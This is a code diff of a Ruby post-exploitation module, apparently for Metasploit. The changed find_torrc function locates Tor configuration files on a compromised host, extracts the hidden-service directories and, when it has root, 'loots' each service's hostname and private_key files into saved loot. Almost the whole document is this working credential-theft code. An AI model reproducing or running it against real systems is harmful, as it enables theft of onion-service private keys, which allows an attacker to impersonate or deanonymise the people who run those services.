@@ -60,27 +60,44 @@ def get_host
60
60
end
61
61
62
62
def find_torrc
63
- config = cmd_exec ( "find / -name 'torrc' 2>/dev/null | head -n 1" ) . chomp
64
- if config != ""
65
- print_good ( "Torrc file found at #{ config } " )
66
- hiddenservices = cmd_exec ( "cat #{ config } | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2" ) . split ( "\n " )
67
- print_good ( "Hidden Services found!" )
63
+ config = cmd_exec ( "locate 'torrc' | grep -v 'torrc.5.gz'" ) . split ( "\n " )
64
+ if config . length == 0
65
+ print_error ( "No torrc file found, maybe it goes by a different name?" )
66
+ else
67
+ hidden = Array . new
68
+ # For every torrc file found, parse them for HiddenServiceDir
69
+ config . each do |c |
70
+ print_good ( "Torrc file found at #{ c } " )
71
+ services = cmd_exec ( "cat #{ c } | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2" ) . split ( "\n " )
72
+ # For each HiddenServiceDir found in the torrc(s), push them to the hidden array
73
+ services . each do |s |
74
+ hidden . push ( s )
75
+ end
76
+ end
77
+ # Remove any duplicate entries
78
+ hidden = hidden . uniq
79
+ # If hidden is empty, then no Hidden Services are running.
80
+ if hidden . length != 0
81
+ print_good ( "#{ hidden . length } hidden services have been found!" )
82
+ else
83
+ print_bad ( "No hidden services were found!" )
84
+ end
68
85
69
- if is_root?
70
- hiddenservices . each do |f |
71
- output = read_file ( "#{ f } hostname" )
72
- save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .hostname" ) if output && output !~ /No such file or directory/
73
- end
86
+ if is_root?
87
+ # For all the Hidden Services found, loot hostname file
88
+ hidden . each do |f |
89
+ output = read_file ( "#{ f } hostname" )
90
+ save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .hostname" ) if output && output !~ /No such file or directory/
91
+ end
74
92
75
- hiddenservices . each do |f |
76
- output = read_file ( "#{ f } private_key" )
77
- save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .privatekey" ) if output && output !~ /No such file or directory/
78
- end
79
- else
80
- print_error ( "Hidden Services were found, but we need root to access the directories" )
81
- end
82
- else
83
- print_error ( "No Torrc file found. Perhaps it goes by another name?" )
93
+ # For all the Hidden Services found, loot private_key file
94
+ hidden . each do |f |
95
+ output = read_file ( "#{ f } private_key" )
96
+ save ( f , output , "tor.#{ f . split ( "/" ) [ -1 ] } .privatekey" ) if output && output !~ /No such file or directory/
97
+ end
98
+ else
99
+ print_error ( "Hidden Services were found, but we need root to access the directories" )
100
+ end
84
101
end
85
102
end
86
103
end
0 commit comments